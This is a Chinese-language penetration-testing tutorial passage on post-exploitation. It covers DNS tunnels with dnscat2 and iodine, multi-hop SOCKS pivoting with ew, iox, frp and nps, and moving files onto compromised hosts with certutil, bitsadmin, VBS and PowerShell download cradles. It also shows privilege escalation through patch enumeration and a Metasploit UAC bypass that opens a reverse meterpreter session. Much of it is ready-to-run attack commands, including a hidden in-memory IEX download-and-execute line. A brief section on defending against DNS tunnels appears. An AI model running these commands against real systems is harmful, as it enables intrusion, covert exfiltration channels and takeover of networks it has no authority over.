download 下载文件
help 查看支持的命令
clear 清屏
shutdown 切断当前会话
quit 退出dnscat2控制台
中继模式
#启动服务端
sudo ruby dnscat2.rb dc.teamssix.com -c teamssix --no-cache -e open
#-e 指定安全级别,open 表示服务端允许客户端不进行加密
#如果提示Address already in use - bind(2) for "0.0.0.0" port 53,可以关闭systemd-resolved
#sudo systemctl stop systemd-resolved
#启动客户端,这里以 Windows 下的 PowerShell 版为例
start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip
#也可以把导入的命令和开启客户端的命令放在一起。使用IEX加载脚本的方式,在内存中打开dnscat2客户端
powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip}
iodine
iodine 这个名字起的很有意思,iodine 翻译过来就是碘,碘的原子序数为 53,53 也就是 DNS 服务对应的端口号。
iodine 和 dnscat2 一样,适合于其他请求方式被限制以至于只能发送 DNS 请求的环境中,iodine 同样也是分成了直接转发和中继两种模式。
iodine 与 dnscat2 不同的在于 Iodine 服务端和客户端都是用 C 语言开发,同时 iodine 的原理也有些不同,iodine 通过 Tap 在服务端和客户端分别建立一个局域网和虚拟网卡,再通过 DNS 隧道进行连接,然后使其处在同一个局域网中。
Tap基本介绍:Tun/Tap是一对虚拟网络设备,用于在操作系统中创建虚拟网络接口。这对设备可以用于实现网络隧道、虚拟专用网络(VPN)以及其他网络相关的功能。Tun设备和Tap设备是两种不同类型的虚拟网络设备。Tun设备用于网络层(IP层)数据包的处理,而Tap设备用于数据链路层(以太网层)数据包的处理。当你创建一个Tun/Tap设备时,你可以配置它们来模拟一个局域网或虚拟网络,使得服务端和客户端可以通过这个虚拟网络进行通信。
iodine安装
首先需要有一个域名,并设置 NS 和 A 记录,A 记录指向自己的公网 VPS 地址,NS 记录指向 A 记录的子域名。
在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)
Kali 下自带 iodine ,Debian Linux 可以使用 apt 进行安装
sudo apt-get install iodine
Windows 可以直接到官网下载,下载地址:https://code.kryo.se/iodine/,服务端名称是 iodined.exe,客户端是 iodine.exe
iodine使用
#服务端一般使用的是 Linux,服务端命令如下
sudo iodined -f -c -P teamssix 192.168.77.1 dc.teamssix.com -DD
#如果客户端使用的也是linux
iodine.exe -f -r -P teamssix dc.teamssix.com
#iodine 有时会自动将 DNS 隧道切换成 UDP 通道,使用 -r 参数可以强制让 iodine 在任何情况下都使用 DNS 隧道
#如果客户端使用的也是windows
#Windows 客户端上除了要有 iodine 相关文件外,还需要安装 tap 网卡驱动程序。这里附一个 tap 网卡驱动程序的下载地址:http://www.qudong51.net/qudong/981.html
#打开下载好的 tap 网卡驱动程序,一直下一步下一步安装就行。
#然后就可以启动客户端程序了,注意下载下来的 dll 文件要和 exe 在一个目录下,不能只复制一个 exe 到目标主机上,而且要以管理员权限运行下面的命令
.\iodine.exe -f -r -P teamssix dc.teamssix.com
#如果出现 Connection setup complete, transmitting data. 就表示 DNS 隧道就已经建立了
#这时如果去 ping 服务端自定义的虚拟 IP 也是可以 ping 通的。
假如这里内网机器分配到了 192.168.77.2 这个 IP ,因为处在一个局域网中,所以 VPS 直接访问 192.168.77.2 的 3389、80 等端口就可以直接到访问内网机器的相关端口了,同样的内网主机也可以访问 VPS 的 22 端口等等,至此便绕过了策略限制
防御DNS隧道攻击的方法
- 禁止网络中的任何人向外部服务器发送 DNS 请求,只允许与受信任的DNS 服务器通信
- 虽然没有人会将 TXT解析请求发送给 DNS 服务器,但是dnscat2 和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的 TXT 请求
- 跟踪用户的 DNS查询次数。如果达到阀值,就生成相应的报告
- 阻止ICMP
6、socks代理
常见的网络场景有如下三类:
- 服务器在内网中,可以任意访问外部网络
- 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接
- 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络
socks是一种代理服务,可以简单地将一端的系统连接另一端。socks支持多种协议,包括HTTP、FTP等。socks为socks4和socks5两种类型:socks4只支持TCP协议;socks5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。socks能够与目标内网计算机进行通信,避免多次使用端口转发。socks代理其实可理解为增强版的lcx。它在服务端监听一个服务端口,当有新的连接请求出现时,会先从socks协议中解析出目标的URL的目标端口,再执行lcx的具体功能。socks代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的socks代理工具,能够支持多平台的工具更佳。
这里放一张OSI七层网络模型图,用于理解socks协议所处的位置,如下:
根据上图可知,socks运行在会话层,能代理TCP、UDP本身及基于它们之上的协议,但无法代理ICMP(因此通过socks代理是无法ping通谷歌的)。
一些年代久远的工具,现在的杀软基本也都能识别到了,因此在实战中不太推荐 ,更推荐使用 socks 代理工具
常用socks代理工具:
- ew
- termite
- frp
- nps
- sSocks
- reGeorg
- Neo-reGeorg
- SocksCap64
- Proxifier
- ProxyChains
- iox
- suo5
先理解下正向代理和反向代理的区别:
- 正向代理:主动通过代理访问目标主机,即攻击主机 -->目标主机
- 反向代理:目标机器通过代理进行主动连接,即目标主机 -->攻击主机
ew
ew 的项目主页:http://rootkiter.com/EarthWorm/
作者已经不提供 ew 的下载了,但是搜了一下 github 还是有其他人上传的,不过病毒需自查。下载地址:https://github.com/idlefire/ew
该工具共有 6 种命令格式 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,正向连接的命令是 ssocked,反向连接的命令是 rcsocks 和 rssocks,其他命令用于一些比较复杂的网络环境中。
正向连接
正向连接需要目标主机有一个公网 IP,或者说攻击主机能够直接访问到目标主机
ew -s ssocksd -l 1080
#会在目标主机的1080端口上架设socks代理服务器,之后使用代理工具配置上这个目标主机公网IP的1080端口即可
反向连接
反向连接适合于目标没有公网 IP 的情况,这时就需要一台公网 vps 了。下面就直接以内网地址作为演示了
在公网 VPS 上执行以下命令:
ew -s rcsocks -l 1080 -e 4444
在目标主机上执行以下命令:
ew -s rssocks -d vps_ip -e 4444
作为二级跳板使用(二级网络环境)1
有这样的一个网络环境,目标主机A有两个网卡,一个内网地址一个公网地址,但这个主机只能访问内网主机B不能访问其他内网资源,而内网主机B不能访问外网但是能访问内网资源。在拿到这两台主机权限后,就可以使用 ew 进行二级跳板访问到内网资源。
内网主机A(有公网IP)--> 内网主机B --> 内网资源
在内网主机B上,开启正向连接代理
ew -s ssocksd -l 4444
#.\ew_for_Win.exe -s ssocksd -l 4444
在内网主机A上
ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
#./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444
这条命令表示将 1080 端口收到的代理请求转发到内网主机 B 192.168.7.110 的 4444 端口,此时就可以通过访问内网主机 A 的外网 IP 的 1080 端口访问到内网主机 B 上架设的 socks5 代理了。
作为二级跳板使用(二级网络环境)2
在上面的环境中,内网主机 A 有公网 IP,如果没有公网 IP 的情况下,又该怎么办呢?这时候就需要结合反向连接了,因此需要一台公网的 VPS 主机。
VPS --> 内网主机A --> 内网主机B --> 内网资源
在公网 VPS 上
ew -s lcx_listen -l 1080 -e 4444
表示将 1080 收到的 代理请求转发到 4444 端口上
在内网主机 B 上
ew -s ssocksd -l 5555
#.\ew_for_Win.exe -s ssocksd -l 5555
表示开启 5555 端口的正向代理
在内网主机 A 上
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
表示在内网主机 A 上使用 lcx_slave 的方式,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来。
现在就可以通过 VPS 的 1080 端口访问到内网主机 A 再访问到内网主机 B ,最后访问到内网资源了。
作为三级跳板使用
目前有这样的一个环境,内网主机 A 没有公网 IP ,但是可以访问外网,内网主机 B 不能访问外网,但是可以和 A 相互访问,内网主机 C 能访问内网资源,但是只能和 B 相互访问,因此如果想访问到内网资源就需要做三层跳板。
VPS --> 内网主机 A --> 内网主机 B --> 内网主机 C
在公网 VPS 上,将 1080 端口收到的代理请求转发到 4444 端口
ew -s rcsocks -l 1080 -e 4444
在内网主机 A 上,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
在内网主机 B 上,将 5555 端口收到的代理请求转发到 6666 端口上
ew -s lcx_listen -l 5555 -e 6666
在内网主机 C 上,启动 socks5 服务,并反弹到 B 主机的 6666 端口上
ew -s rssocks -d 192.168.7.110 -e 6666
至此,socks5 代理 VPS 的 1080 端口就会访问到内网资源了。
iox(简单易用体积小)
iox项目地址:https://github.com/EddieIvan01/iox
所有的参数都是统一的。-l/--local
意为监听本地端口;-r/--remote
意为连接远端主机
端口转发
监听 0.0.0.0:8888
和0.0.0.0:9999
,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999
监听0.0.0.0:8888
,把流量转发到1.1.1.1:9999
# 这可以用于内网端口穿透
./iox fwd -l 8888 -r 1.1.1.1:9999
连接1.1.1.1:8888
和1.1.1.1:9999
, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
内网实现socks代理
# 公网服务器端
./iox proxy -l 9999 -l 1080
# 内网被控端
./iox proxy -r 1.1.1.1:9999
# 攻击机设置代理,比如proxychains
proxychains fscan -h 192.168.2.100/24
启用加密
# 这里演示把内网3389端口转发到VPS
# 被控跳板机端
./iox fwd -r 192.168.2.101:3389 -r *1.1.1.1:8888 -k 656565
# 公网服务器端
./iox fwd -l *8888 -l 3389 -k 656565
frp(推荐)
frp 项目地址:https://github.com/fatedier/frp。直接在项目的 releases 里下载自己对应的系统版本就行
内网端口穿透
场景:内网主机可出网,想从公网访问内网主机的 3389 端口
在 VPS 上开启服务端,这里以 kali 为例,首先修改配置文件 frps.ini
[common]
bind_port = 4444
然后启动服务端
frps -c frps.ini
配置客户端配置文件
> .\frpc.exe -c frpc.ini
2021/06/09 15:50:29 [I] [service.go:304] [72904e8037a7fdf8] login to server success, get run id [72904e8037a7fdf8], server udp port [0]
2021/06/09 15:50:29 [I] [proxy_manager.go:144] [72904e8037a7fdf8] proxy added: [rdp]
2021/06/09 15:50:29 [I] [control.go:180] [72904e8037a7fdf8] [rdp] start proxy success
此时,在 vps 上访问本地的 3389 端口就会访问到内网主机的 3389 端口了
建立 socks 代理
场景:内网主机可出网,想把内网主机作为跳板机使用
上面的场景只是利用 frp 访问了内网指定机器的指定端口,我们还可以利用 frp 将内网主机作为跳板机使用。
这次我们用上 frp 的 web 控制面板以及访问密码等功能,让我们建立的连接更加安全、方便。
在 VPS 上开启服务端,服务端配置文件如下:
实战中,为了更好的隐藏自己,最好还是要设置通过域名访问
配置好文件后,启动服务端
frps -c frps.ini
配置客户端文件
开启客户端
frpc -c frpc.ini
> .\frpc.exe -c frpc.ini
2021/06/09 16:11:21 [I] [service.go:304] [ee7ad330ab4e6036] login to server success, get run id [ee7ad330ab4e6036], server udp port [0]
2021/06/09 16:11:21 [I] [proxy_manager.go:144] [ee7ad330ab4e6036] proxy added: [socks5]
2021/06/09 16:11:21 [I] [control.go:180] [ee7ad330ab4e6036] [socks5] start proxy success
测试 VPS IP 的 1080 的 socks5 代理,发现已经连通了
打开 frps 仪表盘,登录后,可以看到当前连接数据的相关信息
nps(推荐)
nps 项目地址:https://github.com/ehang-io/nps。相较于 frp,nps 的 web 管理就要强大很多了
nps 不同于 frp 的开箱即用,nps 的服务端需要安装才能使用,这里以 kali 下的安装为例
tar -zxvf linux_amd64_server.tar.gz
./nps install
建立 socks 代理
启动服务端,默认 Web 管理界面端口 8080
nps start
启动 nps 后,直接访问服务端的 8080 端口,输入默认密码 admin/123 进行登录,不难看出,这 web 界面确实比 frp 的丰富很多。
nps 的使用也很简单,界面语言也可选择中文。
首先新增一个客户端,点击 “客户端” --> “新增”,打开新增客户端页面,填写相关信息后,点击新增即可
新增之后,刷新一下可以看到刚刚添加的记录,点击刚刚新增记录里的“加号”还能直接看到在客户端上要运行的命令,这个可谓是很贴心了。
复制命令到客户端上运行,服务端这边就能看到目标已经上线了,连接状态也由离线变成了在线
如果想创建一个 SOCKS5 代理也很简单,直接点击 “SOCKS 代理” --> “新增”,输入客户端的 ID 和代理的端口,然后新增即可。
之后直接设置 SOCKS5 代理 IP 为 nps 服务端 IP ,端口这里设置的是 1080,这样就建立了一个 SOCKS 代理,如果新增设置客户端的时候,设置了认证账号密码,那么在连接 SOCKS 代理的时候,也要添加上对应的账号和密码。
7、文件上传与下载
常见文件上传与下载手法
-
搭建FTP服务器,连接后下载
-
利用VBS脚本下载(主要使用的是 msxm12.xmlhttp 和 adodb.stream 对象)
#将以下命令保存到download.vbs文件中
Set Post = CreateObject("Msxm12.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open “GET","http://server ip/target.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C: test\target.exe",2
#通过如下命令执行 download.vbs,即可实现下载target.exe文件的操作
Cscript download.vbs
- 先将需要上传的EXE文件转换为十六进制HEX的形式,再将HEX代码写入文件,最后将HEX代码还原成EXE文件。本质思想是:文件 --> 编码 --> 复制/上传到目标机器 --> 解码 --> 文件。使用这种思路可以在内网中绕过无法上传文件限制,下面简单举个例子
假设这样一个场景,目标不出网且不允许上传文件但是可以复制文本,可以通过 PowerShell 将 exe 可执行文件编码成 base64 文本,将编码后的内容复制到目标主机后,再将 base64 文本转换成 exe 可执行文件
#使用 PowerShell 进行 base64 编码
$PEBytes = [System.IO.File]::ReadAllBytes("fscan.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content fscan_base64.txt -Value $Base64Payload
使用 PowerShell 进行 base64 解码
$Base64Bytes = Get-Content ("fscan_base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("fscan_base64.exe",$PEBytes)
自 Windows 7 开始,Windows 自带了 CertUtil 命令,可以使用 CertUtil 进行 MD5、SHA1 等算法的计算,也可以使用 CertUtil 进行 base64 的编码,使用起来要比 PowerShell 方便不少。
#使用 CertUtil 进行base64编码
CertUtil -encode fscan.exe fscan_base64.txt
#使用 CertUtil 进行base64解码
CertUtil -decode fscan_base64.txt fscan_base64.exe
- 使用 Certutil下载
certutil -urlcache -split -f http://www.baidu.com/1.rar
#certutil -urlcache -split -f http://192.168.3.61:8000/test.txt
#certutil -urlcache -split -f http://192.168.3.61:8000/test.txt C:\test.txt
#注意Certutil是以URL缓存模式下载文件的,下载完后注意清除缓存记录
#查看利用certUtil下载文件的缓存记录
certutil.exe -urlcache *
#删除缓存记录
#方法一:默认在缓存目录位置:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本,直接删除缓存目录对应文件即可
#方法二:certutil.exe -urlcache * delete
#如果要删除指定URL的缓存记录,可以键入:certutil.exe -urlcache -split -f http://192.168.3.61:8000/test.txt delete
#计算文件hash
#SHA1
certutil.exe -hashfile msg.dll
#SHA256
certutil.exe -hashfile msg.dll SHA256
#MD5
certutil.exe -hashfile msg.dll MD5
- 利用bitsadmin下载
bitsadmin是一个命令行工具,Windows XP以后版本的Windows操作系统中自带该工具(Windows Update程序就是用它来下载文件的)。推荐在Windows 7和Windows 8主机上使用bitsadmin
bitsadmin通常用于创建下载和上传进程并监测其进展。bitsadmin使用后台智能传输服务(BITS),该服务主要用于Windows操作系统的升级、自动更新等,工作方式为异步下载文件在同步下载文件时也有优异的表现)。
bitsadmin使用Windows的更新机制,并利用IE的代理机制。如果渗透测试的目标主机使用了网站代理,并且需要活动目录证书,那么 bitsadmin 可以帮助解决下载文件的问题。
bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\p.zip
#bitsadmin /rawreturn /transfer getfile http://192.168.3.61:8000/test.txt c:\test.txt
或
bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:\p.zip"
#bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.3.61:8000/test.txt" "c:\test.txt"
#注意使用绝对路径,尽量不要使用相对路径
- 利用PowerShell下载
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip:port/pwdump8.exe','c:/pwdump8.exe')
powershell -exec bypass -c "Invoke-WebRequest -Uri 'http://122.152.227.248:8000/test.txt' -OutFile './test.txt'"
powershell -exec bypass -c "Start-BitsTransfer -Source 'http://122.152.227.248:8000/test.txt' -Destination './test.txt'"
powershell -exec bypass -c "Invoke-RestMethod -Uri 'http://122.152.227.248:8000/test.txt' -OutFile './test.txt'"
突破内网禁止上传大文件
在内网中,有时偶尔会因为种种限制,导致无法上传大文件,以至于只能上传小文件。
比如这样一个场景,当时在拿下目标 shell 后发现只能上传几百 K 的小文件,文件稍微大些比如几 M 的文件就会提示上传失败
针对这种情况,就需要将大文件变成小文件后再进行上传,一般来说有下面两种途径
- 常规的压缩文件
- 分割文件
压缩文件
这里使用7z做演示,7-Zip 文件下载地址:https://www.7-zip.org/
7z常用参数
a 添加压缩文件
x 解压压缩文件
-p 指定密码
-v 分卷压缩
-r 递归压缩
-o 指定输出目录
普通的压缩/解压文件
#把 fscan.exe 压缩成 fscan.7z,压缩密码为teamssix.com
7z.exe a -pteamssix.com fscan.7z fscan.exe
#把 fscan.7z 解压成 fscan.exe
7z.exe x -pteamssix.com fscan.7z
分卷压缩/解压文件
#分卷压缩其实和下面介绍的分割文件有点类似,区别还是在于一个对文件进行了压缩,一个没有进行压缩。
#把 fscan.exe 以 500 K 大小进行分卷压缩。
7z.exe a -pteamssix.com -v500k fscan.7z fscan.exe
#把 fscan.7z 解压成 fscan.exe
7z.exe x -pteamssix.com fscan.7z.001
可以看到,使用分卷压缩可以把一个大文件分成多个小文件,然后将小文件上传上去后,再进行解压就可以了。如果目标主机没有安装 7-Zip,可以先在自己的主机上安装 7-Zip,然后把安装目录下的 7z.exe上传到目标主机上,默认路径为C:\Program Files\7-Zip\7z.exe。7z.exe 只有 400 多 K 的大小,可以说很是小巧了
分割文件
使用 split 以 500 K 大小分割 fscan.exe 文件,split 命令在 Linux 和 MAC 下都是自带的,因此在自己的电脑上分割好后,直接上传即可。
split -b 500k fscan.exe teamssix
合并分割文件为 fscan.exe
cat teamssix* > fscan # 适用于 Linux、Mac
copy /b teamssix* fscan.exe # 适用于 Windows
使用 split 分割文件是较为方便的做法,无需第三方软件,且不论目标是 Linux 还是 Windows 都能支持。
权限提升分析及防御
在Windows中,权限大概分为四种,分别是User、Administrator、System、TrustedInstaller在这四种权限中,我们经常接触的是前三种。第四种权限TrustedInstaller,在常规使用中通常不会涉及。
- User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)
- Administrator:管理员权限。可以利用Windows的机制将自己提升为System权限,以便操作SAM文件等
- System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作
- TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件
Windows操作系统中管理员账号的权限,以及Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。
- 纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
- 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。这里着重提一下溢出漏洞,溢出漏洞就像往杯子里装水,如果水太多,杯子装不下了,就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出。系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁,或者即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性,如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方法提权,就必须找出目标系统中的0day漏洞
查询当前用户的组成员身份信息
whoami /groups #windows
groups 或者 id #linux
发现主机缺失补丁
手工发现缺失补丁
systeminfo
直接运行 systeminfo 命令,在「修补程序」(英文:Hotfix(s) )处可以看到已安装的补丁。
运行以下命令,同样可以看到当前系统打补丁的情况,显示的信息比 systeminfo 更详细直观。
wmic qfe get Caption,Description,HotfixID,InstalledOn
知道了系统安装了哪些补丁,也就能反推出系统可能存在的漏洞了。注意,知道安装了的补丁是不能被攻击者直接利用的。攻击者采取的利用方式通常是:寻找提权的EXP,将已安装的补丁编号与提权的EXP编号进行对比,例如KiTrap0D和KB979682、MS11-011和KB2393802、MS11-080和KB2592799、MS10-021和KB979683、MS11-080和KB2592799,然后使用没有编号的EXP进行提权。
“WMIC”是“Windows Management Instrumentation Command-line”的缩写。WMIC是 Windows平台上最有用的命令行工具。使用 WMIC,不仅可以管理本地计算机,还可以管理同一域内的所有计算机(需要一定的权限 ),而且在被管理的计算机上不必事先安装 WMIC。WMIC 在信息收集和后渗透测试阶段是非常实用的,可以调取和查看目标机器的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装的补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
自动发现缺失补丁
Sherlock 脚本
Sherlock 是一个在 Windows 下能够快速发现目标系统可能存在可被用于提权的漏洞的 PowerShell 脚本。
Sherlock 项目地址:https://github.com/rasta-mouse/Sherlock
#导入脚本
Import-Module .\Sherlock.ps1
Sherlock 命令
Find-ALLVulns 搜索所有未安装的补丁
Find-MS16032 搜索单个漏洞
Metasploit
在已经获取到目标会话后,比如这里的会话 Seesion ID 为 1,使用 post/windows/gather/enum_patches 模块可直接查看当前系统补丁信息。
msf6 exploit(multi/handler) > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > set session 1
session => 1
msf6 post(windows/gather/enum_patches) > run
[+] KB2999226 installed on 11/26/2020
[+] KB976902 installed on 11/21/2010
[*] Post module execution completed
或者使用 MSF 发现目标可用提权漏洞,然后进行提权
首先查看下当前会话权限
msf6 post(windows/gather/enum_patches) > sessions 1
[*] Starting interaction with 1...
meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 6 created.
组信息
-----------------
组名 类型 SID 属性
====================================== ====== ============ ==============================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Administrators 别名 S-1-5-32-544 只用于拒绝的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组
控制台登录 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192 必需的组, 启用于默认, 启用的组
可以看到当前权限为 Medium Mandatory Level,即普通权限(标准用户权限)
我们使用 post/multi/recon/local_exploit_suggester 模块检测下当前系统可利用的提权漏洞
meterpreter > background
[*] Backgrounding session 1...
msf6 post(windows/gather/enum_patches) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 172.16.214.4 - Collecting local exploits for x86/windows...
[*] 172.16.214.4 - 38 exploit checks are being tried...
[+] 172.16.214.4 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[*] Post module execution completed
可以看到提示存在 exploit/windows/local/bypassuac_eventvwr 模块可被利用
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > run
[*] Started reverse TCP handler on 10.101.22.38:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 172.16.214.4
[*] Meterpreter session 2 opened (10.101.22.38:4444 -> 172.16.214.4:49160) at 2021-07-06 15:38:08 +0800
[*] Cleaning up registry keys ...
meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 1 created.
组信息
-----------------
组名 类型 SID 属性
==================================== ====== ============ ==========================================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Administrators 别名 S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组
控制台登录 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\High Mandatory Level 标签 S-1-16-12288 必需的组, 启用于默认, 启用的组
可以看到,使用 exploit/windows/local/bypassuac_eventvwr 模块直接将目标权限提升到了 High Mandatory Level,即管理员权限,这里可以说 MSF 很方便了。
wesng
wesng 被称为 Windows Exploit Suggester 的下一代,wesng 和 Windows Exploit Suggester 的使用方法基本一致,但 wesng 所支持的操作系统更丰富
wesng 的安装方法很简单,如下
git clone https://github.com/bitsadmin/wesng.git
cd wesng
python wes.py --update
使用起来也很简单,直接在目标主机上运行以下命令,将 systeminfo 的信息保存到 txt 中
systeminfo > info.txt
直接使用 wesng 即可
python wes.py info.txt
使用 wesng 可以直接看到目标主机可能存在的 CVE 漏洞,从而便于我们有针对性的利用这些漏洞
系统服务权限配置不当利用
在Windows操作系统中,攻击者通常会通过系统内核溢出漏洞来提权,但如果碰到无法通过系统内核溢出漏洞提取所在服务器权限的情况,就会利用系统中的配置错误来提权。Windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。Windows 系统的错误配置主要可以用来进行提权操作,比如可信任服务路径漏洞、计划任务程序以高权限运行、注册表键 AlwaysInstallElevated 等。除了用来进行提权,还可以用来寻找一些敏感信息,比如在一些安装配置的文件中或许就包含了一些明文账号密码等等。
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹、文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。这就是系统服务权限配置错误中的可写目录漏洞,有如下两种可能:
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
- 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用
DLL 劫持技术并尝试重启服务来提权。
常见利用工具:
- PowerUp
- Metasploit
- Empire
可信任服务路径漏洞
我在《提权手法》一文中写到过,这里简单带过
注册表键AlwaysInstallElevated
注册表AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以SYSTEM权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以SYSTEM权限来安装恶意的MSI(MicrosoftWindowsInstaller)文件。
WindowsInstaller的相关知识点:WindowsInstaller是Windows操作系统的组件之一,专门用来管理和配置软件服务。WindowsInstaller除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单地说,双击MSI文件就会运行Msiexec.exe。
产生该漏洞的原因是由于用户在策略编辑器中开启了 Windows Installer 特权安装功能,有两种开启方法,如下
-
方法1,图形化:
- Win + R在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。
- 按照以下路径启用即可
